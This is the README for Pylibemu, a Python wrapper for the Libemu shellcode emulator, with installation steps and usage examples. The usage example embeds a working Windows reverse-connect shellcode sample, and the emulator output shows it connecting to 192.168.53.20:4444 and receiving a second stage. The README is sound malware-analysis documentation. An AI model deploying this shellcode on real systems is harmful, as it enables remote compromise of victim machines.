Pylibemu

Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).

Requirements

• Python 2.5+ or Python 3.6+ (read installation notes)
• Libemu

Installation (Python 3)

Pylibemu > 0.5.8 does not include Libemu submodule anymore so you are required to install Libemu before installing Pylibemu.

To install Libemu, just execute:

$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make install

Once Libemu is correctly installed, just execute:

$ sudo pip install pylibemu

Installation (Python 2)

Pylibemu 0.5.8 is the last version supporting Python 2.

To install Pylibemu, just execute:

$ sudo pip install pylibemu==0.5.8

Usage

>>> import pylibemu
>>> shellcode  = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe90 =>
        = "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) =  66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe88 =>
        struct   = {
        short sin_family = 2;
        unsigned short sin_port = 23569 (port=4444);
        struct in_addr sin_addr = {
        unsigned long s_addr = 339060928 (host=192.168.53.20);
     };
     char sin_zero = "       ";
 };
int namelen = 16;
) =  0;
int recv (
SOCKET s = 66;
char * buf = 0x0012fe88 =>
         none;
int len = 3072;
int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not to worry about details. Moreover the new Emulator attribute offset allows to get such information if needed.

   >>> emulator = pylibemu.Emulator()
   >>> emulator.run(shellcode)
   0
   >>> emulator.offset
   4
   >>> print emulator.emu_profile_output
   HMODULE LoadLibraryA (
    LPCTSTR = 0x01a3f990 =>
           = "ws2_32";
   ) =  1906376704;
   int WSAStartup (
   WORD wVersionRequested = 2;
   LPWSADATA lpWSAData = 1244272;
   ) =  0;
   SOCKET WSASocket (
   int af = 2;
   int type = 1;
   int protocol = 0;
   LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
   GROUP g = 0;
   DWORD dwFlags = 0;
   ) =  66;
   int connect (
   SOCKET s = 66;
   struct sockaddr_in * name = 0x0012fe88 =>
           struct   = {
           short sin_family = 2;
           unsigned short sin_port = 23569 (port=4444);
           struct in_addr sin_addr = {
           unsigned long s_addr = 339060928 (host=192.168.53.20);
        };
        char sin_zero = "       ";
    };
int namelen = 16;
   ) =  0;
   int recv (
   SOCKET s = 66;
   char * = 0x01a40870 =>
           none;
   int len = 3072;
   int flags = 0;
   ) =  3072;

   >>> emulator.emu_profile_truncated
   False

The Emulator accepts the optional parameter output_size which defines how much memory will be reserved for storing the emulation profile dump. By default, its size is 1MB but it be can changed in two possible ways

>>> emulator = pylibemu.Emulator(1024)

>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)

If the reserved memory is not enough to contain the entire dump, the dump will be truncated and the Emulator attribute emu_profile_truncated will be set to True. This approach is needed in order not to penalize performances while analyzing some shellcodes which may produce several MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is needed a really simple approach could be to check the emu_profile_truncated attribute after the shellcode emulation test, increase the reserved memory through the Emulator set_output_size method and subsequently run the shellcode emulation test again as shown above.

License information

Copyright (C) 2011-2023 Angelo Dell'Aera <[email protected]>

License: GNU General Public License, version 2